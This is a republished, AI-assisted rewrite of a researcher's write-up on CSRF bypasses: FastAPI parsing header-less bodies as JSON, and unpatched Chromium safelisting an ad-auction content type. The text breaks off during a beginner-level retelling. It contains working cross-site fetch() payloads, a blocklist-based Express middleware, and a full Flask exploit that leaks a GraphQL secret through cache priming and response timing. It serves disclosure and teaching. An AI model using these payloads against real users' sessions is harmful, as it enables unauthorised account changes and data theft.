Skip to content
CSRF Write-up Advanced

We Need to Talk About CSRF Again

The post explains that CSRF protections based on blocking 'simple' content types can be bypassed because FastAPI parsed bodies as JSON when no Content-Type was sent, and Chromium treated an undocumented MIME type as safelisted so no preflight occurred. An attacker could make a logged-in victim's browser send state-changing requests, and in the Apollo Server case run queries against the victim's session and leak data via timing.

Amirmohammad Safari Follow

Published on blog.voorivex.team

There's a specific thing that happens when a vulnerability gets old. People stop worrying about it.

Amirmohammad Safari, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

Context

CSRF is old enough that most teams treat it as solved: the pattern is documented, the defences are known, and the checklist box gets ticked. This write-up looks at two cases where that confidence is misplaced, both against applications that already had CSRF protections in place. Neither is a naively undefended endpoint. Both became CTF challenges, and a separate white-box review of Apollo Server turned up the same blocklist pattern.

The common thread is the browser's notion of a simple request. Under the WHATWG Fetch specification, a cross-origin request is simple, and therefore skips the CORS preflight, only when its Content-Type is one of three values:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Anything else, including application/json, triggers an OPTIONS preflight, and a server without permissive CORS kills the request before it fires. So a cross-origin POST with a JSON body has historically been considered safe.

The gap both scenarios live in is that an attacker does not need to send JSON if the server will interpret the payload as JSON anyway. There are three ways to think about that:

  1. Send a JSON body with one of the three documented simple content types (the classic case).
  2. Omit the Content-Type header entirely and send the JSON body anyway (Scenario 1).
  3. Use a content type that was never documented as simple, but that the browser treated as one anyway (Scenario 2).

For any of this to work, four conditions have to line up. The victim must visit a page the attacker controls; the victim must be authenticated to the target with a live session cookie; the cookie must actually be sent on cross-origin requests, which in practice means SameSite=None; Secure, since SameSite=Strict never rides along cross-site and SameSite=Lax (the modern default) blocks cross-origin fetch and XMLHttpRequest; and the browser must let the request through without a preflight. The first three belong to the victim's environment. The fourth is where the bypass happens.

Setup

Scenario 1 is an open-source CTF challenge published in November 2024, built around a FastAPI application. The vulnerable endpoint is a profile update that validates its body against a Pydantic model (ProfileUpdate) and writes to the database for the current user.

Scenario 2 is a second challenge built around an Express.js application with a hand-written CSRF middleware, plus a white-box review of Apollo Server's preventCsrf.ts on an engagement, and a small Apollo + Express demo application used to build an XS-Leak.

The browser side matters throughout: the bypass in Scenario 2 applies to unpatched versions of Chrome, Edge, Brave and every other Chromium-based browser. Firefox and WebKit are spec-compliant, as shown below.

Finding it

The starting question was whether browsers actually implement the Fetch specification faithfully, to the letter. The spec lists three simple content types; browsers are enormous codebases with decades of history, so it is reasonable to check rather than assume.

Reading the source settled it. Firefox's nsContentUtils::IsAllowedNonCorsContentType checks exactly three types:

bool nsContentUtils::IsAllowedNonCorsContentType(const nsACString& aHeaderValue) {
    nsAutoCString contentType;
    nsAutoCString unused;

    if (IsCorsUnsafeRequestHeaderValue(aHeaderValue)) {
        return false;
    }

    nsresult rv = NS_ParseRequestContentType(aHeaderValue, contentType, unused);
    if (NS_FAILED(rv)) {
        return false;
    }

    return contentType.LowerCaseEqualsLiteral("text/plain") ||
           contentType.LowerCaseEqualsLiteral("application/x-www-form-urlencoded") ||
           contentType.LowerCaseEqualsLiteral("multipart/form-data");
}

WebKit does the same:

case HTTPHeaderName::ContentType: {
    if (containsCORSUnsafeRequestHeaderBytes(value))
        return false;
    auto parsedContentType = ParsedContentType::create(value);
    if (!parsedContentType)
        return false;
    String mimeType = parsedContentType->mimeType();
    if (!(equalLettersIgnoringASCIICase(mimeType, "application/x-www-form-urlencoded"_s) ||
          equalLettersIgnoringASCIICase(mimeType, "multipart/form-data"_s) ||
          equalLettersIgnoringASCIICase(mimeType, "text/plain"_s)))
        return false;
    break;
}

Chromium, however, has a fourth entry:

bool IsCorsSafelistedLowerCaseContentType(const std::string& value) {
    DCHECK_EQ(value, base::ToLowerASCII(value));

    if (std::ranges::any_of(value, IsCorsUnsafeRequestHeaderByte)) {
        return false;
    }

    std::optional<std::string> mime_type =
        net::ExtractMimeTypeFromMediaType(value, false);
    if (!mime_type.has_value()) {
        return false;
    }

    return *mime_type == "application/x-www-form-urlencoded" ||
           *mime_type == "multipart/form-data" || *mime_type == "text/plain" ||
           (*mime_type == "message/ad-auction-trusted-signals-request" &&
            base::FeatureList::IsEnabled(
                features::[redacted]));
}

message/ad-auction-trusted-signals-request belongs to Google's Privacy Sandbox, specifically the Protected Audience API, which is designed to enable interest-based advertising without third-party cookies. The feature flag [redacted] controls whether the type is safelisted, and it is enabled by default. Chromium has since patched this, replacing the enabled-by-default flag with a per-request bool in TrustedParams that only internal Protected Audiences code can set, so web-initiated requests with this content type now trigger a preflight as expected.

On unpatched Chromium, a cross-origin POST with Content-Type: message/ad-auction-trusted-signals-request triggered no preflight. The browser just sent it. The spec says three types; Chromium said four, with no release-note warning that content-type-based CSRF defences had gained a bypass vector enabled by default.

Exploitation

Scenario 1: no Content-Type header at all

The FastAPI endpoint looks unremarkable:

@app.post("/profile/update", response_model=Dict[str, str])
async def update_profile(
    update_data: ProfileUpdate,
    current_user: Dict = Depends(get_current_user)
):
    cursor.execute("""
        UPDATE users SET email = ?, name = ? WHERE username = ?
    """, (update_data.email, update_data.name, current_user["username"]))
    conn.commit()
    return {"message": "Profile updated successfully"}

The natural assumption is that FastAPI needs Content-Type: application/json to parse the body, which would trigger a preflight. The framework's internals at the time said otherwise:

body_bytes = await request.body()
if body_bytes:
    json_body: Any = Undefined
    content_type_value = request.headers.get("content-type")
    if not content_type_value:
        json_body = await request.json()
    else:
        message = email.message.Message()
        message["content-type"] = content_type_value
        if message.get_content_maintype() == "application":
            subtype = message.get_content_subtype()
            if subtype == "json" or subtype.endswith("+json"):
                json_body = await request.json()

The relevant branch is this one:

if not content_type_value:
    json_body = await request.json()

With no Content-Type header at all, FastAPI does not refuse to guess. It treats the body as JSON. The absence of a header became implicit permission. FastAPI has since patched this.

To exploit it, the attacker needs a cross-origin request that carries no Content-Type. A normal fetch with a JSON body gets Content-Type: application/json attached automatically, which triggers the preflight. Wrapping the payload in a Blob without a type leaves the browser with nothing to attach, so the request goes out with no content type, qualifies as simple, skips the preflight, fires with the victim's cookies, and FastAPI parses the body as JSON:

fetch('https://vulnerable-corp.com/profile/edit', {
    method: "POST",
    body: new Blob([JSON.stringify({ name: "pwn", email: "[redacted]" })]),
    credentials: "include",
});

No browser warnings, no preflight negotiation, no user interaction beyond visiting the page. The profile is updated. After the CTF went public, other researchers picked up the technique; one write-up covers it from a different angle.

The lesson: the absence of a Content-Type is not neutral. Depending on the framework, it can be more permissive than sending one.

Scenario 2: the content type Chromium quietly safelisted

Since CSRF defences built around content-type blocking maintain a list of the three spec-defined simple types, message/ad-auction-trusted-signals-request is on none of them. On unpatched Chromium the request slid past:

fetch("https://vulnerable-corp.com/profile/update", {
    method: "POST",
    headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
    body: JSON.stringify({ name: "pwn", email: "[redacted]" }),
    credentials: "include"
});

Unpatched Chromium sent this with no preflight. If the server's body parser handles JSON regardless of content type, the attack lands cleanly.

The Express challenge

To demonstrate the pattern, the second challenge uses an Express.js application whose CSRF defence genuinely tries to cover its bases:

const SIMPLE_CONTENT_TYPES = [
    'application/x-www-form-urlencoded',
    'multipart/form-data',
    'text/plain',
    ''
];

function csrfProtection(req, res, next) {
    if (req.method === 'OPTIONS') return next();

    const contentType = (req.headers['content-type'] || '').split(';')[0].trim().toLowerCase();

    if (SIMPLE_CONTENT_TYPES.includes(contentType))
        return res.status(403).json({ error: 'Forbidden: simple content-type rejected (potential CSRF)' });

    next();
}

app.use(express.json({ type: () => true }));
app.use(session({ secret: process.env.SECRET, resave: false, saveUninitialized: true }));
app.use(csrfProtection);

Two lines stand out. First:

app.use(express.json({ type: () => true }));

type: () => true tells Express to attempt JSON body parsing on every incoming request, regardless of Content-Type. It is a convenience pattern: route handlers never have to think about content negotiation, everything arrives as a parsed object.

Second, the middleware is a blacklist of content types it considers dangerous. It is thoughtful about it: it strips parameters from the header, so application/json; charset=utf-8 normalises to application/json before the check; it blocks all three simple types; and it even blocks the empty string '', which explicitly patches the Blob trick from Scenario 1.

The model is: parse everything as JSON, then reject the request if the content type looks like a CSRF attempt. That holds until you notice the blacklist can only block content types it knows about. When a request arrives with Content-Type: message/ad-auction-trusted-signals-request:

  1. Express parses the body as JSON.
  2. The CSRF middleware checks the content type, which is not in the blocklist.
  3. The request passes through to the route handler.
  4. The handler receives a perfectly formed object containing the attacker's payload.
fetch("https://vulnerable-corp.com/profile", {
    method: "POST",
    headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
    body: JSON.stringify({ name: "pwned" }),
    credentials: "include"
});

The challenge only updates a name value in the session, deliberately simple to keep the focus on the technique. The same pattern on an endpoint that changes a password, updates an account email or initiates a transfer has very different consequences.

Apollo Server's preventCsrf

While digging through Apollo Server's source on a white-box engagement, the researcher found preventCsrf.ts using the same blocklist approach:

import MIMEType from 'whatwg-mimetype';
import { BadRequestError } from './internalErrorClasses.js';

export const recommendedCsrfPreventionRequestHeaders = [
    'x-apollo-operation-name',
    'apollo-require-preflight',
];

const NON_PREFLIGHTED_CONTENT_TYPES = [
    'application/x-www-form-urlencoded',
    'multipart/form-data',
    'text/plain',
];

export function preventCsrf(
    headers: HeaderMap,
    csrfPreventionRequestHeaders: string[],
) {
    const contentType = headers.get('content-type');

    if (contentType !== undefined) {
        const contentTypeParsed = MIMEType.parse(contentType);
        if (contentTypeParsed === null) {
            return;
        }
        if (!NON_PREFLIGHTED_CONTENT_TYPES.includes(contentTypeParsed.essence)) {
            return;
        }
    }

    if (
        csrfPreventionRequestHeaders.some((header) => {
            const value = headers.get(header);
            return value !== undefined && value.length > 0;
        })
    ) {
        return;
    }

    throw new BadRequestError(
        `This operation has been blocked as a potential Cross-Site Request Forgery ` +
        `(CSRF). Please either specify a 'content-type' header (with a type that ` +
        `is not one of ${NON_PREFLIGHTED_CONTENT_TYPES.join(', ')}) or provide ` +
        `a non-empty value for one of the following headers: ${csrfPreventionRequestHeaders.join(', ')}\n`,
    );
}

The blocklist has the same three entries. message/ad-auction-trusted-signals-request is not one of them, so a request carrying that content type passes the check, regardless of whether it is a GET or a POST.

Sending a POST with a mutation and having Apollo execute it runs into two blockers:

  1. Apollo Server blocks mutations on GET requests; mutations are only allowed over POST.
  2. Apollo Server uses Express's built-in body-parser, which only parses the body as JSON when the Content-Type is strictly application/json.

So POST is out: the bypass content type that gets past preventCsrf is the same thing that stops body-parser from parsing the body. That leaves GET.

GET: the way in

GET requests carry the query, operation name, variables and extensions in URL parameters, with no body at all. Apollo handles them like this:

case 'GET': {
    const searchParams = new URLSearchParams(httpRequest.search);

    graphQLRequest = {
        query: searchParamIfSpecifiedOnce(searchParams, 'query'),
        operationName: searchParamIfSpecifiedOnce(searchParams, 'operationName'),
        variables: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'variables'),
        extensions: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'extensions'),
        http: httpRequest,
    };

    break;
}

Since the operation lives in the URL, body-parser is irrelevant; there is nothing for it to parse. The bypass content type satisfies preventCsrf, the GET handler reads query straight out of the search params, and the operation runs against the victim's session.

That allows any query against the victim's session, but not mutations. Classic CSRF is ruled out, and the attack moves toward XS-Leak.

Building the XS-Leak

XS-Leak (cross-site leak) is a class of attack where the attacker infers information about a cross-origin response without reading it. The Same-Origin Policy still hides the body, but side channels leak: how long the request took, how big the response was, whether it threw an error. Response timing is exposed through performance APIs, and response size shows up indirectly as download duration.

The demo is a small Apollo + Express app with a searchNotes resolver that returns notes matching a substring. The note text is what gets exfiltrated:

import { ApolloServer } from "@apollo/server";
import { expressMiddleware } from "@as-integrations/express5";
import express from "express";
import bodyParser from "body-parser";
import cors from "cors";

const notes = [
  { id: "1", text: "voorivex_secret123" },
];

const typeDefs = `#graphql
  type Note {
    id: ID!
    text: String!
  }
  type Query {
    notes: [Note!]!
    searchNotes(query: String!): [Note!]!
  }
`;

const resolvers = {
  Query: {
    notes: () => notes,
    searchNotes: (_, { query }) =>
      notes.filter(n => n.text.toLowerCase().includes(query.toLowerCase()))
  }
};

const server = new ApolloServer({ typeDefs, resolvers });
const app = express();
await server.start();

app.use(
  "/graphql",
  cors(),
  bodyParser.json(),
  expressMiddleware(server)
);

app.listen(4000, () => console.log("🚀 Server ready at http://localhost:4000/graphql"));

Imagine voorivex_secret123 is something only the logged-in user should see, such as an API key, a private token or internal data tied to the session. Apollo's CSRF protection is in place. CORS is permissive, but the response is unreadable cross-origin.

The exploit chains three things: the Chromium content-type bypass, Apollo's automatic persisted queries (APQ) cache, and a timing oracle on the response.

Step 1: pick the signal

The response cannot be read, but the time it takes to arrive can be measured. A bigger response takes longer to download. If a match response is much bigger than a no-match response, the time difference becomes a reliable yes/no oracle.

GraphQL aliases make this easy. The same field can be requested under any number of names in one query (h1: text, h2: text, h3: text, ...), and each alias produces its own copy of the value in the response. Ask for text thousands of times and a search hit serialises the matched note into every alias slot. A short secret balloons into tens of kilobytes.

Step 2: get the heavy query into the victim's browser

The only path past preventCsrf + body-parser is GET, and GET has to fit in a URL. Express's default limit is 16 KB for the entire request (URL plus headers combined), so a 99,000-character selection set is nowhere close to fitting.

Apollo's automatic persisted queries solve this. APQ is a performance feature: instead of sending the full query text on every request, the client sends a SHA-256 hash and Apollo looks the operation up in a cache. The first time a hash is seen, the client sends the full query and Apollo caches it; from then on the short hash triggers the same operation.

The attacker primes this cache server-to-server, registering 36 cached queries (one per candidate character [a-z0-9]) by POSTing each to Apollo with a normal application/json content type. Each query searches for prefix + candidate_char and carries thousands of text aliases as padding. Apollo stores them, and each is addressable by a 64-character hash. The URL problem dissolves: the 99,000-character query lives on the server, and the victim's browser only sends the hash.

Step 3: probe from the victim's browser

The victim visits the attacker's page. The page fires GET requests to Apollo, one per hash. The Content-Type: message/ad-auction-trusted-signals-request header gets each request past preventCsrf, unpatched Chromium skips the preflight, and the request fires with the victim's cookies attached. Apollo executes the cached query against the victim's data.

The response is unreadable cross-origin, but performance.getEntriesByName(url).duration exposes how long it took. No match returns in single-digit milliseconds; a match, with its tens of kilobytes of inflated response, takes longer.

Step 4: walk the secret one character at a time

When a hash comes back SLOW, the attacker knows that hash's candidate character matches the next position in the secret. Append it to the known prefix, prime 36 new cached queries, probe again, repeat. The full secret reconstructs character by character, from a page the attacker controls, against a server with CSRF protection enabled, against responses the browser never lets the attacker read directly.

The full exploit is a Flask app that automates the loop. It runs on the attacker's domain, and the victim only has to visit /:

from flask import Flask, request, render_template_string, redirect, url_for
import requests
import hashlib
import random
import json

app = Flask(__name__)

GRAPHQL_ENDPOINT = "http://[redacted]:4000/graphql"

def build_query(prefix):
    generated_chars = ""
    limited_chars = 99000

    while limited_chars > len(generated_chars):
        generated_chars += (
            "h"
            + str(random.random()).split(".")[1].replace("-", "")
            + ":text@include(if:true),"
        )

    return f'{{searchNotes(query:"{prefix}"){{{generated_chars}}}}}'

def create_cache_for_prefix(prefix):
    """Generate the huge GraphQL query and send persistedQuery POST"""
    chars = [
        "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
        "0","1","2","3","4","5","6","7","8","9"
    ]

    generated_queries = {}
    for i in chars:
        generated_query = build_query(f"{prefix}{i}")
        m = hashlib.sha256()
        m.update(generated_query.encode("utf-8"))

        body = {
            "query": generated_query,
            "extensions": {
                "persistedQuery": {"version": 1, "sha256Hash": m.hexdigest()}
            },
        }

        requests.post(
            GRAPHQL_ENDPOINT,
            data=json.dumps(body),
            headers={"content-type": "application/json"},
        )

        generated_queries[m.hexdigest()] = i

    return generated_queries

@app.route("/")
def index():
    prefix = request.args.get("prefix")

    if prefix:
        # When prefix exists, create cache
        sha = create_cache_for_prefix(prefix)
        return render_template_string(
            TEMPLATE_JS,
            prefix=prefix,
            sha=sha
        )

    # Initial form
    return """
<!DOCTYPE html>
<html>
<head>
<title>Apollo Server XS-Leak Demo</title>
</head>
<body>
<pre><h1>Apollo Server XS-Leak Demo</h1></pre>
</body>
</html>
    """

@app.route("/refresh")
def refresh():
    new_prefix = request.args.get("prefix")
    return redirect(url_for("index", prefix=new_prefix))

TEMPLATE_JS = """
<!DOCTYPE html>
<html>
<head><title>Apollo Server XS-Leak Demo</title></head>
<body>
<pre>
<h1>Apollo Server XS-Leak Demo</h1>
<h3>Exfiltrated characters: '{{prefix}}'</h3>
</pre>

<script>
async function getNetworkDuration(url) {
    await fetch(url, {mode: 'no-cors', credentials: 'include', headers: {"Content-Type": "message/ad-auction-trusted-signals-request"}});
    await new Promise(r => setTimeout(r, 200));
    let res = performance.getEntriesByName(new URL(url).href).pop();
    return res.duration < 10;
}

async function check(hash_list) {
    for (const hash of Object.keys(hash_list)) {
        const url = `http://victim.com:4000/graphql?extensions={"persistedQuery":{"version":1,"sha256Hash":"${hash}"}}`;
        let results = [];
        for (let i = 0; i < 5; i++) {
            results.push(await getNetworkDuration(url));
        }
        let detected = results.every(v => v === false) ? "SLOW" : "FAST";
        if (detected === "SLOW") {
            window.location = `/refresh?prefix={{prefix}}${hash_list[hash]}`;
            break;
        }
    }
}

const hash_list = {{sha|safe}};
check(hash_list);
</script>
</body>
</html>
"""

if __name__ == "__main__":
    app.run(port=80, debug=True)

build_query pads the selection set with aliases until it reaches roughly 99,000 characters. create_cache_for_prefix builds one query per candidate character, hashes each with SHA-256, POSTs it to Apollo with content-type: application/json so the persisted query is stored, and returns a map from hash to character. The page template fetches each hash URL with mode: 'no-cors', credentials: 'include' and the bypass content type, waits 200 ms, then reads the duration from performance.getEntriesByName. A duration under 10 ms counts as fast. Each hash is probed five times and only a consistent SLOW result is accepted, after which the page redirects to /refresh with the extended prefix and the loop starts again.

A demo video shows the full extraction.

Root cause

Content-type-based CSRF defences share one assumption: that the set of simple content types is small, known and stable. Both scenarios break that assumption from different directions.

Scenario 1 breaks it on the server. FastAPI decided that no content type meant JSON, so a request the browser considered simple was parsed as a structured body.

Scenario 2 breaks it in the browser. Chromium grew the safelist for an ads API, and every blocklist downstream became incomplete by default. The Express middleware and Apollo's preventCsrf both enumerate the three spec types and reject them; a fourth type that the browser also treats as simple is not on either list, so it passes. In the Express case the body parser is configured to parse JSON for every request (type: () => true), so the bypassed request arrives at the handler fully formed. In the Apollo case the body parser is strict about application/json, which blocks POST mutations, but GET carries the operation in the URL and never needs a body, so the bypass still reaches the resolver.

The deeper issue is the direction of the check. A blocklist of known-bad content types is only as complete as the browser's current safelist, and that list is controlled by browser vendors, not by the application.

Impact

In Scenario 1, an attacker who gets a victim to visit a page can update the victim's profile on the FastAPI application, without a preflight and without user interaction beyond the visit. In the challenge this was a profile update; the same shape applies to any JSON endpoint the framework parses this way.

In Scenario 2, the Express challenge allows the same class of state change against the profile handler that trusts the parsed body. The Apollo case is narrower: mutations are blocked on GET and POST bodies are not parsed under the bypass content type, so the practical impact is read-only queries executed against the victim's session. That is enough for XS-Leak: by inflating responses with aliases and measuring timing, an attacker can reconstruct secret data the victim can see, one character at a time, from a page the attacker controls, against a server with CSRF protection enabled.

All of this depends on the preconditions above: the victim must visit the attacker's page while authenticated, the session cookie must be sent cross-site (SameSite=None; Secure), and, for Scenario 2, the browser must be an unpatched Chromium-based one.

Fix

FastAPI has since patched the missing-header behaviour. Chromium patched the safelist, replacing the enabled-by-default feature flag with a per-request bool in TrustedParams that only internal Protected Audiences code can set, so web-initiated requests with message/ad-auction-trusted-signals-request now trigger a preflight.

The general fix is unchanged: do not rely on content-type checks alone. Anti-CSRF tokens, Origin / Referer validation and SameSite cookies all do work a content-type blocklist cannot. Use them in combination, and threat-model what an attacker gains by forcing a request through, not just whether the request mutates state.

Variants to test

  • Header-less JSON bodies. Send a cross-origin POST with a JSON body wrapped in an untyped Blob and no Content-Type. A positive result is the endpoint parsing and acting on the body without a preflight.
  • Framework-specific implicit JSON. Check how the target framework decides to parse a body when the header is missing, malformed or has an unexpected subtype. A positive result is a body being parsed as JSON under a content type the browser treats as simple.
  • Browser safelist drift. Compare the target's blocklist against the current simple-request logic in each browser engine. A positive result is a content type the browser sends without a preflight that the application's blocklist does not reject.
  • Blacklist normalisation gaps. Try content types with parameters, mixed case and whitespace against middleware that strips or lowercases before comparing. A positive result is a request that reaches the handler while the middleware believes it blocked the type.
  • GET-carried operations. On GraphQL or similar APIs, check whether operations can be supplied entirely through URL parameters. A positive result is a query executing against the victim's session with no body and no preflight.
  • Timing oracles with aliases. Where responses cannot be read, request the same field under many aliases and measure performance.getEntriesByName(url).duration across match and no-match inputs. A positive result is a consistent, measurable difference that survives repeated probes.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 29 min read.

What happened, in plain words

Imagine you are logged into your bank in one tab. In another tab you open a page someone sent you. That page contains a tiny piece of code that quietly tells your browser to send a request to the bank, and because your browser still holds your bank login, the bank treats the request as coming from you. You never clicked anything on the bank's site. That is the whole idea behind CSRF, short for Cross-Site Request Forgery: an attacker borrows your logged-in session to make a request you did not intend.

CSRF is an old, well-known problem, so most developers believe they have already dealt with it. This article looks at two situations where that belief was wrong, both against applications that already had CSRF protections in place. Neither was a careless, unprotected endpoint. Both became practice challenges (CTF challenges, explained below), and a separate white-box review of Apollo Server turned up the same blocklist pattern.

The common thread is a browser rule about what counts as a simple request. A browser has a safety system that stops one website from quietly talking to another website. But that system lets a few kinds of request through without asking permission first, and those are called simple requests. The rule says a request is simple only when its Content-Type header is one of three specific values:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Anything else, including application/json, makes the browser stop and ask the other server for permission first. That asking step is called a preflight. If the server does not explicitly say yes, the browser cancels the request before it is ever sent. So for years, a cross-site POST carrying a JSON body was considered safe, because the preflight would catch it.

The gap both scenarios live in is this: an attacker does not need to send JSON if the server will interpret whatever arrives as JSON anyway. There are three ways to think about that:

  1. Send a JSON body but label it with one of the three documented simple content types (the classic case).
  2. Omit the Content-Type header entirely and send the JSON body anyway (Scenario 1).
  3. Use a content type that was never documented as simple, but that the browser treated as one anyway (Scenario 2).

For any of this to work, four conditions have to line up at the same time:

  1. The victim must visit a page the attacker controls. No visit, no attack.
  2. The victim must be logged in to the target site, with a live session cookie in the browser.
  3. The session cookie must actually be sent on cross-site requests. In practice this means the cookie is set with SameSite=None; Secure. A cookie marked SameSite=Strict never travels on a cross-site request, and SameSite=Lax (the modern default) blocks cross-origin fetch and XMLHttpRequest.
  4. The browser must let the request through without a preflight.

The first three belong to the victim's environment. The fourth is where the bypass happens.

The pieces you need to know first

Before the two scenarios, here are the building blocks, explained from zero.

A cookie is a small piece of text a website asks your browser to store and send back on every later request to that site. It is how a site remembers that you logged in. Think of it as a wristband you get at a venue: you show it at the door and you are let in without showing your ticket again.

A session cookie is the specific cookie that proves who you are. If an attacker can make your browser send a request while that cookie is attached, the server thinks the request came from you.

An API (Application Programming Interface) is a way for one piece of software to talk to another. A website's front end (what you see) often talks to a back end (where the data lives) through an API. When you click save on a profile page, your browser sends a request to an API endpoint, and the API does the work.

An endpoint is one specific address on a server that does one specific job, like /profile/update for changing your profile.

A header is a small label attached to a request or response, carrying extra information. Content-Type is a header that says what kind of data is in the request body, for example JSON or a form.

JSON is a simple text format for structured data, looking like {"name": "pwn"}. It is the usual way web APIs exchange data.

A framework is a pre-built toolkit that developers use to build an application faster. FastAPI and Express.js are two such toolkits, one for Python and one for JavaScript.

The Same-Origin Policy is a browser rule that stops a page on one website from reading data from another website. Think of it as a rule that you can look at a neighbour's house but not read their mail.

CORS (Cross-Origin Resource Sharing) is the mechanism a server uses to say, on purpose, that another website is allowed to read its responses. Without a clear yes from the server, the browser blocks the reading.

A preflight is the browser's permission check before sending a risky cross-site request. It sends a small OPTIONS request first, essentially asking the server, are you expecting something like this? If the server does not answer with the right CORS headers, the browser kills the real request before it fires.

A CTF challenge (Capture The Flag) is a practice puzzle built for security learners. You are given a deliberately vulnerable application and must find and exploit the flaw to retrieve a hidden flag.

A resolver is the part of a GraphQL server that actually fetches the data for a field. GraphQL is a query language for APIs, explained further below.

A white-box engagement is a security review where the tester is allowed to read the application's source code, not just poke at it from outside.

Finding it

The starting question was simple: do browsers actually follow the written rule faithfully, to the letter? The rule lists three simple content types. Browsers are enormous programs with decades of history, so it is worth checking rather than assuming.

Reading the source code settled it. Firefox's function nsContentUtils::IsAllowedNonCorsContentType checks exactly three types:

bool nsContentUtils::IsAllowedNonCorsContentType(const nsACString& aHeaderValue) {
    nsAutoCString contentType;
    nsAutoCString unused;

    if (IsCorsUnsafeRequestHeaderValue(aHeaderValue)) {
        return false;
    }

    nsresult rv = NS_ParseRequestContentType(aHeaderValue, contentType, unused);
    if (NS_FAILED(rv)) {
        return false;
    }

    return contentType.LowerCaseEqualsLiteral("text/plain") ||
           contentType.LowerCaseEqualsLiteral("application/x-www-form-urlencoded") ||
           contentType.LowerCaseEqualsLiteral("multipart/form-data");
}

Line by line: the function receives the value of the Content-Type header. It first checks whether the value contains characters that are not allowed in a cross-site request header; if so, it returns false (not allowed). It then parses the value into a content type. If parsing fails, it returns false. Finally it returns true only if the parsed type is exactly text/plain, application/x-www-form-urlencoded or multipart/form-data. In other words, Firefox allows exactly the three types from the rule and nothing else.

WebKit (the engine behind Safari) does the same:

case HTTPHeaderName::ContentType: {
    if (containsCORSUnsafeRequestHeaderBytes(value))
        return false;
    auto parsedContentType = ParsedContentType::create(value);
    if (!parsedContentType)
        return false;
    String mimeType = parsedContentType->mimeType();
    if (!(equalLettersIgnoringASCIICase(mimeType, "application/x-www-form-urlencoded"_s) ||
          equalLettersIgnoringASCIICase(mimeType, "multipart/form-data"_s) ||
          equalLettersIgnoringASCIICase(mimeType, "text/plain"_s)))
        return false;
    break;
}

Line by line: when the header being checked is Content-Type, WebKit first rejects values containing unsafe bytes. It then parses the value; if parsing fails, it rejects. It extracts the MIME type (the type part of the header) and rejects unless it matches one of the same three types, ignoring upper or lower case. Same three types, same result.

Chromium (the engine behind Chrome, Edge, Brave and other browsers) has a fourth entry:

bool IsCorsSafelistedLowerCaseContentType(const std::string& value) {
    DCHECK_EQ(value, base::ToLowerASCII(value));

    if (std::ranges::any_of(value, IsCorsUnsafeRequestHeaderByte)) {
        return false;
    }

    std::optional<std::string> mime_type =
        net::ExtractMimeTypeFromMediaType(value, false);
    if (!mime_type.has_value()) {
        return false;
    }

    return *mime_type == "application/x-www-form-urlencoded" ||
           *mime_type == "multipart/form-data" || *mime_type == "text/plain" ||
           (*mime_type == "message/ad-auction-trusted-signals-request" &&
            base::FeatureList::IsEnabled(
                features::[redacted]));
}

Line by line: the function expects the value to be lowercase already. It rejects values containing unsafe bytes. It extracts the MIME type and rejects if it cannot. Then it returns true if the type is one of the three known simple types, or if the type is message/ad-auction-trusted-signals-request and a specific feature switch is turned on. That feature switch is [redacted], and it is enabled by default.

What is message/ad-auction-trusted-signals-request? It belongs to Google's Privacy Sandbox, specifically the Protected Audience API, a system designed to enable interest-based advertising without third-party cookies. In plain terms, it is a content type used by an advertising feature, and Chromium quietly added it to the list of types that skip the preflight.

Chromium has since patched this. The patch replaced the enabled-by-default feature switch with a per-request true/false value in TrustedParams that only internal Protected Audiences code can set, so web-initiated requests with this content type now trigger a preflight as expected.

On unpatched Chromium, a cross-site POST with Content-Type: message/ad-auction-trusted-signals-request triggered no preflight. The browser just sent it. The written rule says three types; Chromium said four, with no release-note warning that content-type-based CSRF defences had gained a bypass vector enabled by default.

Exploitation

Scenario 1: no Content-Type header at all

The FastAPI endpoint looks unremarkable:

@app.post("/profile/update", response_model=Dict[str, str])
async def update_profile(
    update_data: ProfileUpdate,
    current_user: Dict = Depends(get_current_user)
):
    cursor.execute("""
        UPDATE users SET email = ?, name = ? WHERE username = ?
    """, (update_data.email, update_data.name, current_user["username"]))
    conn.commit()
    return {"message": "Profile updated successfully"}

Line by line: @app.post("/profile/update", ...) registers a handler for POST requests to /profile/update. The function update_profile receives update_data, which FastAPI validates against a model called ProfileUpdate, and current_user, which comes from a dependency called get_current_user (that is, whoever is logged in). The cursor.execute line runs a database update setting the user's email and name, using the values from the request and the current user's username. conn.commit() saves the change. The function returns a success message.

The natural assumption is that FastAPI needs Content-Type: application/json to parse the body, which would trigger a preflight. The framework's internals at the time said otherwise:

body_bytes = await request.body()
if body_bytes:
    json_body: Any = Undefined
    content_type_value = request.headers.get("content-type")
    if not content_type_value:
        json_body = await request.json()
    else:
        message = email.message.Message()
        message["content-type"] = content_type_value
        if message.get_content_maintype() == "application":
            subtype = message.get_content_subtype()
            if subtype == "json" or subtype.endswith("+json"):
                json_body = await request.json()

Line by line: read the raw request body. If there is a body, start with the parsed JSON set to undefined. Read the content-type header. If there is no content type at all, parse the body as JSON. Otherwise, parse the header value, and if its main type is application and its subtype is json or ends with +json, parse the body as JSON.

The relevant branch is this one:

if not content_type_value:
    json_body = await request.json()

With no Content-Type header at all, FastAPI does not refuse to guess. It treats the body as JSON. The absence of a header became implicit permission. FastAPI has since patched this.

To exploit it, the attacker needs a cross-site request that carries no Content-Type. A normal fetch (the browser's built-in way of sending a request from JavaScript) with a JSON body gets Content-Type: application/json attached automatically, which triggers the preflight. Wrapping the payload in a Blob (a container for raw bytes) without a type leaves the browser with nothing to attach, so the request goes out with no content type, qualifies as simple, skips the preflight, fires with the victim's cookies, and FastAPI parses the body as JSON:

fetch('https://vulnerable-corp.com/profile/edit', {
    method: "POST",
    body: new Blob([JSON.stringify({ name: "pwn", email: "[redacted]" })]),
    credentials: "include",
});

